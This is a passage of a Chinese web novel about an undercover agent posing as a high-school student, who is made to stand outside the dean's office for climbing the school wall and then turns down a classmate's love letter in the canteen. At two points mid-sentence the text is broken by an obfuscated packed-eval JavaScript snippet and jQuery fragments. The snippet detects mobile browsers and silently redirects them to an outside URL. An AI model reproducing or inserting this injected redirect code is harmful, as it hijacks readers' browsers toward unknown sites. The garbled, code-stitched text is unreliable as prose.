陈主任走到他面前,上下打量了他一眼。目光从他的乱糟糟的头发扫到没拉好的校服拉链,再到他手里的豆浆杯,最后落在他嘴角没擦干净的包子渣上。
“迟到了?”
“没有没有,我没迟到。”谢燃摇头摇得像拨浪鼓,“升旗还没开始呢。”
“那你为什么不走校门?”
“我……锻炼身体。翻墙锻炼身体。”
陈主任看着他,表情没有任何变化。谢燃觉得自己的脚趾在鞋里抠出了一室一厅。
“手伸出来。”陈主任说。
谢燃把手伸出来。陈主任凑近闻了一下——没有烟味。上次的教训让他戒了至少一周,手上只有豆浆和包子的味道。陈主任的表情微微松动了一瞬,但很快又恢复了那种让人脊背发凉的严肃。
“翻墙违反校规第十三条。”陈主任从口袋里拿出那个熟悉的本子,翻开,在上面写了一行字,“周一升旗仪式迟到加翻墙——罚站一个上午。升旗仪式结束后去教导处门口站着。”
“陈老师,我真的没迟到,升旗还没开始——”
“你翻墙了。”
“我只是——”
“校规第十三条:学生不得攀爬围墙、栏杆、窗户等设施。”陈主任合上本子,看着他,“你还有什么要说的?”
谢燃张了张嘴,又闭上了。他没什么要说的了。因为校规第十三条确实写了,而他确实翻墙了。
“没有。”他低下头,尾巴垂下来。
“升旗仪式结束后,去教导处门口。”陈主任转身走了,高跟鞋的声音哒哒哒地远去。
谢燃站在原地,尾巴垂着,耳朵垂着,整个人像一只被当场抓获的小狐狸。他低头看了一眼手里的豆浆杯,喝了一口——豆浆已经凉了。他把豆浆杯捏扁,扔进了旁边的垃圾桶,然后走向操场。
操场上,各班已经列队完毕。高二(6)班在操场中间偏左的位置,谢燃猫着腰从队伍后面溜进去,找到了自己的位置——纪砚的右边,陆大寻的前面。
纪砚看了他一眼,没说话。那一眼里有三个字:你迟到了。
谢燃用口型回了一句:你不等我。
纪砚的口型:等了。你不起来。
谢燃的口型:你再叫一次我就起来了。
纪砚的口型:叫了三次。
谢燃还想说什么,升旗仪式开始了。广播里响起国歌的前奏,护旗手开始正步走。谢燃站直了身体,把右手放在胸口——这是ASI的习惯,升旗的时候右手贴胸,不是少先队员的敬礼,是一种更私人的、不需要被任何人理解的动作。
纪砚也把手放在了胸口。
陆大寻在后面,没有看到他们的动作。他的尾巴在队伍的空隙里慢悠悠地晃着,偶尔扫到旁边同学的裤腿,被瞪了一眼,赶紧夹紧。
升旗仪式结束的时候,太阳已经完全升起来了。珠海市的周一早晨阳光很好,照在操场上,把每个人的影子拉得短短的。校长在台上讲了一通话,大概意思是期中考试结束了,考得好的不要骄傲,考得不好的不要气馁,然后强调了一下纪律问题。
说到纪律问题的时候,谢燃总觉得校长的目光往他这个方向飘了一下。
可能是错觉。
也可能不是。
升旗仪式结束后,各班有序退场。谢燃没有跟同学一起回教室,而是转身走向教导处。纪砚跟在他旁边走了几步,陆大寻从后面追上来。
“谢哥,你去哪?”
“教导处。”
“又罚站?”陆大寻的眼睛瞪得像铜铃,“这次又怎么了?”
“翻墙。”
陆大寻的嘴巴张了张,又闭上了。他的表情在“哈哈哈哈”和“谢哥你好惨”之间反复横跳,最后选择了后者:“谢哥你好惨。”
“谢谢。”谢燃面无表情。
“需要我给你送水吗?”
“不用。”
“需要我给你送饭吗?”
“不用。”
“需要我——”
“陆大寻。”纪砚开口了。
陆大寻立刻闭嘴了。他看了看纪砚的表情,又看了看谢燃的表情,识趣地转身跑回了教室。跑了几步又停下来,回头喊了一句:“谢哥,我下课去看你!”
谢燃没来得及回答,他已经跑了。
教导处门口,那块两平方米的灰色瓷砖区域,谢燃已经很熟悉了。他站在上次站的位置,背靠着墙,双手插兜,尾巴垂在身后。阳光从走廊的窗户照进来,在他脚边画出一个明亮的方形。
陈主任从教导处里走出来,手里拿着一杯茶,看了他一眼。
“站好。”她说。
谢燃把背挺直了。
陈主任点了点头,转身回去了。
第一节课是数学。谢燃站在教导处门口,听着远处教室里传来的读书声,心想纪砚现在大概在翻课本,笔放在固定的位置,笔记本翻开到新的一页,等着老师开始讲课。他的数学笔记会记得很整齐,等放学后会拿给谢燃看,上面会用红笔标出重点,用蓝笔写出推导过程。
谢燃想到那些笔记,觉得罚站也没那么难受了。
至少纪砚不会因为他罚站就不给他补课。
第二节课是英语。走廊里的人少了一些,偶尔有老师经过,看了他一眼,有的摇头,有的面无表情,有一个年轻的女老师看了他一眼,笑了一下,然后快步走了。谢燃不知道那个笑是什么意思,但他觉得大概不是什么好意思。
课间的时候,陆大寻果然来了。
他手里拿着一瓶水,小跑着过来,尾巴在身后甩得飞快。跑到谢燃面前,把水递过去,喘着气说:“谢哥,水。我偷摸从教室溜出来的,纪哥让我带的。”
谢燃接过水,拧开盖子喝了一口,是凉的,带着一丝甜味——不是糖,是陆大寻加了蜂蜜。这小子从哪弄的蜂蜜?
“纪砚让你带的?”谢燃问。
“嗯。他说你早上没喝水,会渴。”陆大寻眨眨眼,“纪哥对你真好。”
谢燃的尾巴在身后晃了一下,但表情没有任何变化。
“他对我好是因为我数学不好。”谢燃说。
“那他对我也应该好,我数学也不是特别好。”
“你数学89。”
“还可以更高嘛。”
谢燃懒得跟他掰扯,又喝了一口水,把瓶盖拧好,还给他。陆大寻把水瓶抱在怀里,没有走,站在旁边,尾巴慢悠悠地晃着。
“谢哥。”
“嗯。”
“你为什么翻墙?校门不是开着吗?”
“起晚了。”
“那你为什么不走校门?”
“陈主任在校门口站着。”
“所以你翻墙是为了躲陈主任?”
“对。”
“结果翻墙被陈主任抓了。”
“……对。”
陆大寻沉默了一秒,然后笑了,笑得蹲在地上,尾巴在地上扫来扫去,像一把白色的扫帚。他笑得眼泪都快出来了,抬起头看着谢燃,说:“谢哥,你这个逻辑,我智商一百四十八都理解不了。”
谢燃的尾巴炸了一下,又收了回去。
“你可以走了。”他说。
“好好好,我走我走。”陆大寻站起来,擦了擦眼角的泪,转身走了几步又停下来,“谢哥,中午我给你带饭。你想吃什么?”
“随便。”
“那我带红烧肉。”
“行。”
陆大寻跑了,尾巴在走廊尽头甩了一下,消失了。
第三节课是语文。谢燃站在教导处门口,开始数走廊地砖的块数。从东到西是四十八块,从西到东也是四十八块。他数了三遍,确认自己没有数错,然后开始数天花板的吊灯。吊灯有六盏,每盏有四个灯泡,其中一盏有一个灯泡不亮。
他把这些信息记在了脑子里,虽然没有任何用处。
第四节课是物理。谢燃的腿开始酸了,但不是大问题。曙光学院的站姿训练比这残酷多了,问题是无聊——太无聊了。他开始回忆上周纪砚给他讲的数学题,在脑子里重新推导了一遍二次函数的顶点公式。推导到一半的时候卡住了,忘了配方的那一步是怎么做的。
他站在教导处门口,皱着眉头想了很久,还是没想起来。
“回去问纪砚。”他对自己说。
中午吃饭铃响的时候,谢燃的腿已经快不是自己的了。他活动了一下脚踝,骨头咔咔响了两声。陈主任从教导处出来,看了他一眼。
“去吧,吃完饭回来继续站。”陈主任说。
“陈老师,下午第一节课之前能结束吗?”
“看你表现。”
谢燃不知道“表现”具体指什么,但他决定从现在开始表现得像个模范学生。他朝陈主任微微鞠了一躬,说“谢谢陈老师”,然后走向食堂。
步子比平时慢了很多,不是因为腿疼,而是因为站了太久,肌肉有点僵硬。走到食堂门口的时候,他看到陆大寻正站在门口张望,手里端着一个餐盘,上面堆满了菜。
“谢哥!”陆大寻跑过来,“我给你打好饭了!红烧肉、青菜、番茄炒蛋,还有一碗汤!”
谢燃接过餐盘,看了一眼,红烧肉的汤汁浇在米饭上,油亮亮的,看着就让人有食欲。他的胃咕噜叫了一声。
“谢谢。”他说。
“不用谢不用谢,你快吃。”陆大寻跟在他旁边,尾巴甩来甩去,“纪哥在里面,靠窗的位置,他占的座。”
谢燃端着餐盘走进食堂,找到靠窗的位置。纪砚坐在那里,面前摆着自己的餐盘,正在喝汤。看到谢燃过来,他放下汤碗,把对面的椅子拉出来一点——那个距离刚好够谢燃坐下,不用再挪。
谢燃坐下,拿起筷子就开始吃。红烧肉炖得很烂,肥而不腻,他用汤汁拌了饭,扒了一大口,嚼了两下,觉得罚站一上午换这顿饭也值了。
“纪砚。”
“嗯。”
“二次函数的顶点公式,我忘了。”
纪砚放下筷子,从口袋里拿出一支笔和一张便签纸,在上面写了几行字,推到谢燃面前。公式、推导过程、一个示例,每一步都写得清清楚楚。
谢燃看着那张便签纸,把它折好放进口袋。
“回去我再看。”他说。
“现在看。”
“我在吃饭。”
“边吃边看。”
谢燃叹了口气,把便签纸从口袋里掏出来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536143|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一边吃一边看。纪砚在旁边喝汤,目光落在窗外的榕树上,表情淡淡的,但嘴角有一个很小的弧度。
陆大寻端着自己的餐盘走过来,坐到谢燃旁边,看到他在看便签纸,凑过去瞄了一眼:“纪哥写的?字真好看。”
“嗯。”谢燃把便签纸折好放回口袋。
“谢哥,你下午还要站多久?”
“站到第一节课开始。”
“那你还有——一个多小时?”
“大概。”
陆大寻想了想,从自己的餐盘里夹了一块红烧肉放到谢燃碗里:“谢哥你多吃点,补充体力。”
谢燃看着那块红烧肉,愣了一下,然后笑了。
“谢了,小孩。”他说。
“我不是小孩!”陆大寻抗议,但抗议的声音很小,可能是因为谢燃开心多了吧。
下午第一节课铃响之前,谢燃回到了教导处门口。
陈主任从办公室里出来,手里拿着一个文件夹,看了他一眼,又看了看手表。
“行了,回去吧。”
陈主任的语气依旧严肃,但谢燃注意到她的嘴角微微动了一下,“你上午表现还行,没有睡觉,没有玩手机,没有跟路过的人聊天。”
谢燃不知道“表现还行”具体指的是什么,但他决定不追问。
“谢谢陈老师。”他朝陈主任鞠了一躬,然后转身走了。
他走过走廊,拐过楼梯口,走到高二(6)班的教室门口。门开着,里面老师在讲课,是历史。他没有敲门,猫着腰从后门溜进去,坐到了自己的座位上。
纪砚看了他一眼,没有说话,但把笔记本往他那边推了推。笔记本上记着今天上午四节课的笔记,每科都用不同颜色的便签隔开了,数学那页用红笔标了重点,英语那页用蓝笔写了语法总结,语文那页用黑笔抄了文言文翻译,物理那页用铅笔画了受力分析图。
谢燃看着那些笔记,尾巴在桌子底下慢悠悠地晃了一下。
他翻开笔记本,开始补上午落下的内容。
放学的时候,谢燃和纪砚一起走出教室。陆大寻从后面追上来,书包在身后甩来甩去。
“谢哥,你今天一共站了多久?”
“一个上午。”
“几个小时?”
“四个小时吧。”
“你腿不酸吗?”
“酸。”
“那你明天还能跑步吗?”
“能。”
陆大寻看了看谢燃的腿,又看了看他的脸,嘟囔了一句“你们特工真变态”,然后意识到自己说了什么,赶紧捂住嘴。
谢燃看了他一眼,没说话。纪砚看了他一眼,也没说话。
陆大寻把捂着嘴的手放下来,压低声音:“我是说——你们体能真好。”
“嗯。”谢燃说,“我们是体能真好。”
陆大寻松了口气,尾巴重新翘了起来。
走到校门口的时候,他照例说了“明天见”跑了。谢燃和纪砚往公寓走,夕阳把整条街染成了橘红色,榕树的影子投在地上,像一大片静止的网。
“纪砚。”
“嗯。”
“你今天早上为什么不叫我?”
“叫了。三次。”
“你再叫一次我就起来了。”
“我叫了三次。”
“第四次我就起来了。”
纪砚停下来,转过身,看着谢燃。夕阳落在他的肩膀上,把他的轮廓镀上一层暖橘色的光。他的表情依旧淡淡的,但那双黑眼睛里有光——不是生气,是那种“你总是有道理”的无奈。
“明天早上,我叫你四次。”他说。
谢燃愣了一下,然后笑了,笑得眼睛弯弯的,尾巴在身后晃了好几下。
“行。”他说,“四次我就起来。”
两人继续往前走。路灯一盏一盏地亮起来,把整条街照得暖黄黄的。谢燃走在前面,纪砚跟在后面。他们的影子投在地上,交叠在一起,像一棵榕树的气根,一根缠着一根,分不清哪根是谁的。
骨传导通讯器里传来程宇的声音,带着一丝忍笑的味道:“谢哥,你今天翻墙被陈主任抓了?”
谢燃的脚步顿了一下。
“你怎么又知道?”
“我在东墙外面的榕树上蹲着。你翻墙的时候,我就在你头顶。”
谢燃抬起头,看了看头顶的榕树,又看了看通讯器。
“你为什么不提醒我陈主任在那边?”
“我来不及。你翻得太快了。”程宇的声音里笑意更浓了,“而且你叼着包子的样子太好笑了,我忘了提醒。”
“程宇。”
“在。”
“你是不是也觉得我很好笑?”
通讯器里沉默了一秒。
“谢哥,”程宇的声音忽然正经了几分,“你不是好笑。你是——很有意思。”
谢燃不知道该觉得这话是夸奖还是别的什么。他摇了摇头,继续往前走。
“对了,谢哥。”程宇又开口了。
“嗯。”
“你今天罚站的时候,陈主任出来看了你三次。每次都是借着倒水的借口,出来看你一眼,然后回去。”
谢燃的脚步又顿了一下。
“为什么?”
“不知道。但她看你的眼神——不像是生气,更像是在看一个……”程宇想了想,“看一个她不太放心的人。”
谢燃沉默了几秒,没有回答。
他想起陈主任今天说的那句话——“你上午表现还行,没有睡觉,没有玩手机,没有跟路过的人聊天。”那句话里没有责备,没有失望,甚至没有“下次别翻墙了”的警告。只有一种淡淡的、被藏得很深的、不太熟练的关心。
就像首刃官说“成绩也要注意”的时候。
就像韩队说“不是要你考好,是要你尽力”的时候。
就像纪砚说“明天早上我叫你四次”的时候。
谢燃把手插进口袋里,摸到了纪砚写的那张便签纸。二次函数的顶点公式,工工整整地写在上面,旁边画了一个抛物线,顶点处用红笔画了一个圈。
他把那张纸往口袋深处塞了塞,加快了脚步。
“纪砚。”
“嗯。”
“明天早上,我真的会起来。”
“嗯。”
“我说真的。”
“嗯。”
“你嗯是什么意思?”
“就是‘我知道了’的意思。”
“你每次说‘我知道了’,都是‘我不信’的意思。”
纪砚没有回答。但谢燃注意到他的嘴角有一个很小的弧度——那个弧度比平时大了那么一点点。
谢燃笑了。
他把手从口袋里抽出来,甩了甩尾巴,大步流星地走在了纪砚前面。
路灯一盏一盏地亮着,把他的影子拉得很长很长。
珠海市的周一傍晚,和每一个普通的周一傍晚一样,喧闹、嘈杂、充满了生活的烟火气。
但在这个普通的傍晚里,谢燃觉得今天的夕阳比昨天好看。
32. 情书
周二中午的食堂,像一锅烧开的粥。人声、饭菜气、碗筷叮当声,还有学生们打闹的笑声,混着温吞的油烟气,把整个大厅塞得满满当当。吊扇在头顶慢吞吞地转,扇叶子划开闷热的空气,却一点也吹不散这黏糊糊的吵闹。阳光从窗户斜进来,在光溜溜的餐桌上投出块块晃眼的光斑,也落在谢燃身上,可照不化他周身那层又沉又闷的低气压。
谢燃依旧坐在靠窗的老位置。这个角落他占了快一个月,视野好,能一眼望见食堂门口,又能避开大部分挤来挤去的人。他手指攥着筷子,筷子一下一下戳着碗里的白米饭,米粒被戳得散开,碗里很快布满了深深浅浅的小坑。可他自始至终没往嘴里送过一口。垂在椅子下面的尾巴紧紧贴在地上,蓬松的毛耷拉着,一动不动,连尾巴尖都绷得直直的。他整个人缩在椅子里,肩膀微微垮着,明明白白写着“别理我,烦着呢”,好像有层看不见的罩子把他和周围所有的热闹都隔开了。
纪砚坐在他旁边,手里捧着个白瓷汤碗,不紧不慢地喝着清淡的番茄蛋汤。汤面的热气袅袅往上飘,模糊了他一点眉眼。他动作一直很平缓,一点不急,目光偶尔从汤碗上抬起来,淡淡扫过旁边状态不对的谢燃,眼神静得很,没开口问,也没伸手催,就只是安静地陪着,由着谢燃自己待着。陆大寻坐在对面,嘴里叼着块肥瘦相间的红烧肉,腮帮子慢慢动着,嚼得特别慢,一双眼睛在谢燃和纪砚之间滴溜溜转,目光里全是小心翼翼的试探,手里的筷子举在半空,连菜都忘了夹。
“谢哥,”陆大寻终于把肉咽了下去,喉结滚了滚,压着声音,试探地开口,语气小心得不能再小心,“你还在想昨天那事儿?”
“没有。”谢燃语气平平地回了一句,可戳米饭的劲儿却不自觉重了点,筷子狠狠扎进饭里,原本松散的米饭陷下去一块,尾巴尖也几不可查地绷紧了些。
“你从早上到现在,一口没吃。”陆大寻看着他面前动都没动的饭菜,忍不住又说,语气里全是担心。他太了解谢燃了,这人看着随和,可心里一旦装了事,就这么茶饭不思,谁劝都没用。
“不饿。”谢燃头也没抬,目光还落在碗里的饭上,声音淡淡的,听不出情绪,可绷紧的下颌线还是暴露了他并没真的平静。
“你早上就抿了半杯豆浆,那点儿东西哪够一上午的课。”陆大寻不依不饶,絮絮叨叨地念,满心都是对谢燃身体的着急,他实在看不下去谢燃这么折腾自己。
“减肥。”谢燃随口甩出个借口,语气里带着一丝不易察觉的不耐烦,指尖的筷子又戳了戳米饭,碗里的小坑又多几个。
陆大寻张了张嘴,心里嘀咕,你一个身形挺拔、体能拔尖的Alpha,身上哪有多余的肉可减,这借口也太瞎了。可他抬眼对上谢燃眼底的沉郁,到嘴边的话还是咽了回去,不敢再多说一句。只能低下头,扒拉着碗里的饭,可心思全不在吃饭上,垂在椅子下面的尾巴不受控制地、焦虑地一下下蹭着地面。
纪砚静静看着这一切,终于放下了手里的汤碗,瓷碗碰在桌面上,轻轻“叮”了一声。他没多话,只是拿起公筷,从菜盘里夹了块颜色红亮、肥瘦正好的红烧肉,轻轻放到谢燃面前的碗里,肉块落在米饭上,润开一小圈油光。
“吃。”他开口,声音低低的,温和,却带着一股不容商量的笃定,就一个字,却让人没法忽略。
谢燃垂着眼,看着碗里那块孤零零的红烧肉,筷子停在空中,还是没动,周身的低气压好像又浓了点,尾巴依旧死死垂着,没一点动静。
“谢燃。”纪砚又喊了他一声,声音比刚才大了点,语气还是平静,却多了几分坚持,“你下午还有两节专业课,不吃东西,体力跟不上,听课也分心。”他太清楚谢燃的性子,拧起来不管不顾,可眼下不是任性的时候。
听到这话,谢燃垂在椅子下面的尾巴终于轻轻动了一下,尾巴尖微微蜷了蜷,绷紧的身体也稍稍松了点。他沉默了几秒,到底还是慢慢拿起了筷子,低头盯着那块红烧肉,迟疑了一下,还是夹起来塞进了嘴里。红烧肉的香味在嘴里化开,软糯,不腻,可他却吃不出什么滋味,只是机械地嚼了两下,就匆匆咽了下去。又默默夹了一筷子清炒小青菜慢慢吃着,动作迟缓,但不再抗拒。纪砚坐在旁边,静静看着他吃下去,自己绷着的指尖才微微放松,重新端起汤碗,继续不紧不慢地喝,眉眼间那点淡淡的紧绷也悄悄散了。
对面的陆大寻看着这幕,终于长长出了口气,一直焦虑扫动的尾巴也安分地垂了下来,心里暗想,也就纪砚说话,谢燃才肯听,要是自己估计说破嘴皮子也没用……
食堂里的人越来越多,下课的学生成群涌进来,原本就吵的食堂,喧闹声一浪高过一浪,说话声、笑闹声、碗筷碰撞声混在一起,热腾腾的烟火气塞满了每个角落。谢燃低头扒了几口饭,闷着的心情稍微缓了点,一直垂着的尾巴也慢慢抬起来,在椅子下面慢悠悠地轻轻晃,尾巴尖带着点慵懒的弧度。他挪了挪坐姿,拿起筷子,正想再夹块红烧肉,忽然,清晰地感觉到一道目光直直落在自己身上——不是别人那种随意的打量,也不是偷偷摸摸的窥探,而是带着十足的勇气、揣着某种明确目的,认真又固执的注视,直直落在他身上,想忽略都难。
谢燃心里一顿,夹菜的动作猛地停住,筷子悬在半空。他缓缓抬起头,顺着那道目光看过去,就看见一个女生静静地站在他们桌旁。
女生扎着利落的高马尾,头发梳得整整齐齐,一丝不乱,身上的校服穿得规规矩矩,领口袖口都扣得严实,透着股青涩的乖巧。她的双手紧紧攥着一个粉红色的信封,信封边角被捏得有点皱了,那款式、那颜色,和上周悄悄放在谢燃课桌里的那封,一模一样。她的脸颊通红,从颧骨一直红到耳尖,连脖子都染了层淡粉,紧张得指尖都在微微发抖,可即便这样,她还是直直站在那里,没一点退缩,目光定定地看着谢燃,带着豁出去的勇气。
谢燃的筷子僵在半空,垂在身下的尾巴也猛地绷直,一动不动,刚刚稍缓的神情,瞬间又僵住了,心跳莫名其妙空了一拍,心里隐隐冒出不好的预感。
“谢燃同学。”女生开口,声音因为紧张有点发颤,却努力把每个字咬清楚,一字一顿,想让自己的声音听起来平稳,“上周那封情书,是我写的。”
话音落下,谢燃的尾巴彻底僵住,连周围的空气都好像凝滞了一瞬。
女生深吸一口气,胸口微微起伏,像是在用尽全身力气给自己鼓劲,眼神里带着紧张,又满是真诚:“我想了很久,还是想当面问你。”她顿了顿,攥着信封的手又紧了紧,指尖发白,终于鼓起全部的勇气,说出了憋在心里的话,“你——你觉得怎么样?”
食堂里仿佛在这一刻静了一瞬。
不是周围的喧闹真的消失了,耳边还是此起彼伏的说话声、餐具碰撞声,饭菜的香味依然飘在空气里,可谢燃却觉得,所有的声音都在瞬间离自己远去,耳朵里只剩下自己清晰又急促的心跳,咚、咚、咚,一下比一下重,撞得耳膜发疼。他活了二十三年,执行过无数次危险任务,被人用枪指过头,被强势的信息素狠狠压过,被严厉的教官当众训过,被队长追着骂过,再凶险的场面他都从容应付过,可从来没有哪一刻,像现在这样让他手足无措。一个根本不认识的女生,当着别人的面,红着耳朵、鼓足勇气,站在他面前问他“你觉得怎么样”,这份直白的心意,让他彻底慌了。
他张了张嘴,想说点什么,脑子里却一片空白,原本清晰的思绪乱成一团,连一句完整的话都凑不出来。旁边的纪砚还在喝汤,脸上的表情一点没变,好像对眼前这一幕毫不在意,可谢燃却敏锐地注意到,他把汤碗端得特别高,刚好挡住了下半张脸,只露出平静的眉眼,握着汤碗的指尖却微微收紧了点。对面的陆大寻更是彻底僵住,嘴巴张得老大,刚夹起来的红烧肉从筷子上滑下来,重新掉回碗里,溅起点肉汁,他却完全没发觉,整个人都呆住了,满眼震惊。
“我……”谢燃终于艰难地开口,声音因为紧张变得有点沙哑发干。他赶紧清了清嗓子,放下手里的筷子,下意识地坐直了身体,努力让自己看起来镇定一点。僵在半空的尾巴慢慢放松下来,重新垂回椅子下面,尾巴尖不受控制地微微蜷着——这是他极度紧张时,藏不住的习惯动作。
“谢谢你的信。”他稳住心神,尽量让声音听起来平稳温和,眼神里带着真诚的歉意,“你的字很好看,信也写得很认真,能收到你的心意,我很感谢。但——”
他故意停了一下,不敢去看女生的眼睛,却能清晰感觉到对方亮晶晶的目光紧紧钉在自己身上,带着期待和不安,嘴唇微微抿着,全是紧张。
“但是我现在没打算谈恋爱。”谢燃到底还是把话说出了口,语气诚恳,没一点敷衍,“不是你的问题,完全是我自己的原因。我刚转来这学校没多久,身边很多事还没稳定,课也跟不上,每天课余时间还得忙着补课,根本分不出心思想感情上的事……”他越说,越觉得自己的话像敷衍的借口,可他说的句句是实话,只是藏了任务在身、身不由己的核心原因,比起不能说的秘密,这些借口已经是他能给的最合理的解释了。
女生安静地听着,脸上的红晕不但没退,反而更浓了,可这红不是因为被拒绝的难过,而是因为她清楚地看到,谢燃说这些话的时候,耳尖不受控制地泛起淡淡的红,一点点蔓延开,透出几分青涩的窘迫。一个身形挺拔的Alpha,拒绝别人的时候,自己先红了耳朵,这副别扭又腼腆的样子,瞬间冲淡了她被拒绝的失落,让她原本做好的、被拒绝就立刻转身走人的心理准备,全化成了一种说不清道不明的情绪,觉得眼前这人特别可爱,也是更加浓重的羞涩和不好意思。
“我知道了。”女生轻轻低下头,攥着粉红色信封的手又紧了紧,信封被捏得更皱,声音小小的,带着点羞涩,“那——那你以后如果想谈恋爱了,能不能——”
她话还没说完,身后不远处的闺蜜团终于忍不住了。一个留着利落短发的女生快步冲上来,伸手紧紧拉住她的胳膊,语气有点急:“小雅!够了够了,谢燃同学已经说清楚了,我们先走吧!”她一边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536144|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,一边轻轻拉着女生往回走,生怕女生再说出更多让自己尴尬的话。
旁边另一个女生捂着嘴,眼睛弯成甜甜的月牙,故意压低了声音,却又刚好能让桌边的三个人都听清,满是激动地小声嘀咕:“天呐,他脸红了!谢燃同学脸红起来也太可爱了吧!”
“你们别说了——”被叫小雅的女生又羞又窘,声音越来越小,被闺蜜们簇拥着慢慢走远,可她发红的耳尖,和谢燃的一样,好久都没褪。
闺蜜团围着小雅离开食堂,身后还留下一串压不住、满是激动的小声尖叫,混在食堂的喧闹里,格外清楚。
谢燃还坐在椅子上,尾巴无力地垂着,耳尖红得像要滴血,滚烫的温度久久散不去。他低着头,死死盯着面前那碗被戳出无数小坑的米饭,嘴唇紧抿,一句话也说不出来,浑身都透着藏不住的窘迫,恨不得找个地缝钻进去。长这么大,他还是头一回经历这场面,手足无措,满心都是慌乱和羞臊,平时的从容全没了。
陆大寻还保持着刚才的姿势,下巴像要掉下来,手里的筷子不知什么时候掉在了桌上,滚落的红烧肉安安静静躺在碗里,米饭上沾着点肉汁,他却一点没去捡筷子、收拾饭菜的意思。嘴巴张成个标准的O型,眼睛瞪得像铜铃,满眼都是不敢相信,垂在身下的尾巴僵在半空,一动不动,像面被彻底冻住的旗子,整个人都陷在巨大的震惊里,半天回不过神。
“陆大寻。”纪砚放下汤碗,声音平静地喊了他一声,打破了这尴尬的沉默。
陆大寻毫无反应,依旧愣在那儿,眼神空洞,完全没听见纪砚的声音。
“陆大寻。”纪砚的声音提高了一点,带着一丝淡淡的无奈。
“啊?”陆大寻终于猛地回过神,下巴瞬间合上,可眼睛还是瞪得溜圆,满是震惊。他茫然地转头看向旁边的纪砚,又飞快地转向对面窘得不行的谢燃,然后再转回去盯着纪砚,嘴巴一张一合,像条被捞上岸、没了水的鱼,半天憋不出一句完整的话。
“我靠。”他缓了半天,才终于憋出个气声,小到只有自己能听见,满是难以置信。
停了停,他又盯着谢燃,再次用气声重复了一遍:“我靠。”他是真没想到,谢燃居然就这么干脆地拒绝了,那女生长得清秀,情书写得特真诚,满心欢喜,换别人,怕是很难直接拒绝,可谢燃却一点没犹豫。
“你够了。”谢燃闷闷地开口,声音里带着藏不住的窘迫,耳尖的红还没退,他不想再提这个让自己手足无措的话题。
“不是,谢哥——”陆大寻终于找回了自己的声音,连忙压着音量,凑上前,声音小到只有他们仨能听见,语气里全是不解,“你就这么拒了?那女生长得挺好看,性格看着也温柔,信写得那么认真,你就……就一点不动心?”
“我说了,不想谈。”谢燃直接打断他,语气带着不耐烦,指尖紧紧攥着桌沿,尾巴尖又开始微微蜷缩,满心都是窘迫和烦躁。
“为啥啊?你到底是为啥不想谈啊?”陆大寻还是不死心,追着问,他实在想不通,谢燃为啥要这么干脆地拒绝一份真诚的心意。
谢燃没回答他的问题,握着桌沿的指尖微微发白,目光不自觉地往旁边瞟了一眼。纪砚正安静地坐在那儿,神情平淡,好像刚才的闹剧根本没发生过,还是那副波澜不惊的样子。可谢燃却敏锐地感觉到,他端着汤碗的手特别稳,稳得太过刻意,连指尖的弧度都没一点变化,这份不自然,根本逃不过谢燃的眼睛。
陆大寻顺着谢燃不自觉瞟过去的目光,看了一眼神色平淡的纪砚,又转头看向满脸窘迫的谢燃,来来回回打量了两人好几遍,原本满是疑惑的眼睛,慢慢闪过一丝了然。他的嘴巴又微微张开,可这次没再发出震惊的声音,只是慢慢地、若有所思地闭上了,眼神里多了点心照不宣。僵在半空的尾巴也彻底恢复过来,在椅子下面慢悠悠地晃了一下,尾巴尖带着点“我懂了”的弧度。
“哦。”他拖长了调子,轻轻应了一声,那个“哦”字的音调拐了好几个弯,含糊又意味深长,分明是在说“我好像明白了,虽然不敢完全肯定,但心里已经有数了”。
谢燃没再理他,懒得解释,也懒得搭理陆大寻那意味深长的眼神。他低下头,拿起筷子,飞快地把碗里剩下的米饭扒拉完,然后把筷子整齐地摆在空碗上——这是纪砚以前教他的餐桌规矩,时间久了,他就自然养成了这习惯。做完这些,他立刻站起身,端起桌上的餐盘,快步朝餐盘回收处走,只想赶紧离开这个让他窘到不行的地儿。
纪砚也跟着站起身,拿起自己的餐盘,沉默地跟在谢燃身后,步子平稳,始终和他保持着不远不近的距离,没多说一句话,却一直默默陪着。陆大寻看着两人离开的背影,这才慌忙回过神,赶紧捡起掉在桌上的筷子,胡乱扒完碗里剩的饭,端起自己的餐盘,急急忙忙追了上去。
三个人依次把餐盘放回回收处,没按平时的路线回教室,而是默契地转身,拐上了通往教学楼天台的楼梯,一步步往天台走,想避开食堂里的喧闹,也避开那些若有若无的打量目光。
33. 未知的收网
天台的门还是那扇锈迹斑斑的铁门,谢燃推开的时候用了点力,门撞在墙上发出一声闷响。阳光很好,晒得水泥地面发白,远处的海面上有船在缓缓移动。谢燃走到栏杆边,双手撑在上面,看着远处,尾巴垂在身后。
纪砚站在他旁边,陆大寻站在纪砚另一边。
“谢哥,你还好吗?”陆大寻问。
“我没事。”谢燃的声音不大,“就是觉得——”
“觉得什么?”
“觉得我这虚假又短暂的青春啊……”谢燃叹了口气,语气里带着一种复杂的、说不清的情绪,“别人高中收到情书,要么答应要么拒绝,干脆利落。我收到情书,先是被纪砚酸了一顿,然后被全总部嘲笑抽烟罚站,现在又被一个女孩子当面问‘你觉得怎么样’——我二十三了,在高中里假装十八,拒绝一个十七岁的女孩子,还脸红了。”
他顿了顿。
“我脸红什么?我一个Alpha,拒绝人有什么好脸红的?”
